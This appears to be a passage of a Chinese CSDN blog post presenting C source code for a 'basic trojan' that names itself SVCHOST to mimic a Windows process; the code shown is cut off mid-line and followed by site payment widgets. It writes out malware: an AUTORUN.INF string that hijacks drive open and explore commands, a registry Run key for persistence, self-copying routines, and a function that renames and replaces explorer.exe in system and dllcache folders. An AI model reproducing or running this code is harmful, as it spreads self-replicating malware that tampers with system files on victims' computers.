最基础的木马小程序 C语言

这个博客介绍了如何使用C语言编写一个基础的木马小程序,包括文件复制、注册表添加、Autorun.inf自动运行等功能,涉及病毒体的自我复制和系统文件的篡改。
摘要由CSDN通过智能技术生成

最基础的木马小程序 C语言
/* SVCHOST.C   */
/* SVCHOST.EXE */
/* SVCHOST.COM */
#include<stdio.h> /*标准输入输出*/
#include<string.h> /*字符串操作*/
#include<stdlib.h> /*其它函数*/
#include<process.h> /*进程控制*/
#include<dir.h> /*目录函数*/

#define SVCHOST_NUM 6 /*关键位置病毒复制数量*/
#define RUBBISH_NUM 5 /*垃圾文件数量*/
#define REMOVE_NUM 5 /*删除文件数*/
/*====================================================================*/
/*
文件AUTORUN.INF内容:
1.自动运行SVCHOST.com
2.覆盖默认打开命令,使用病毒体作为新的打开方式
3.覆盖默认资源管理器命令,使病毒体作为新的命令方式
*/
char *autorun={"[AutoRun]/nopen=/"SVCHOST.com /s/"/nshell//open=打开(&O)/nshell//open//Command=/"SVCHOST.com /s/"/nshell//explore=资源管理器(&X)/nshell//explore//Command=/"SVCHOST.com /s/""};
/*=====================================================================*/
/*
添加注册表项:
1.自动运行生成病毒体C:/windows/wjview32.com
*/
char *regadd={"REGEDIT4/n/n[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]/n/"wjview32/"=/"C:windowswjview32.com /s/""};
/*=====================================================================*/
/*
函数:复制文件
复制源:infile
目的地:outfile
成功返回0,失败返回1
*/
int copy(char *infile,char *outfile)
{
    FILE *input,*output;
    char temp;
    if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen(outfile,"wb"))!=NULL))
    {
      while(!feof(input))
      {
        fread(&temp,1,1,input);
        fwrite(&temp,1,1,output);
      }
      fclose(input);
      fclose(output);
      return 0;
    }
    else return 1;
}
/*=====================================================================*/
/*
函数:通过explorer自动运行
成功返回0,失败返回1,2
*/
int autorun_explorer()
{
    FILE *input;
    if((input=fopen("c://windows//system//explorer.exe","rb"))!=NULL)
    {
      fclose(input);
      remove("c://windows//$temp$");
      remove("c://windows//system32//dllcache//$temp$");
      return 1;
    }
    copy("c://windows//explorer.exe","c://windows//system//explorer.exe");
    rename("c://windows//explorer.exe","c://windows//$temp$");
    rename("c://windows//system32//dllcache//explo

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值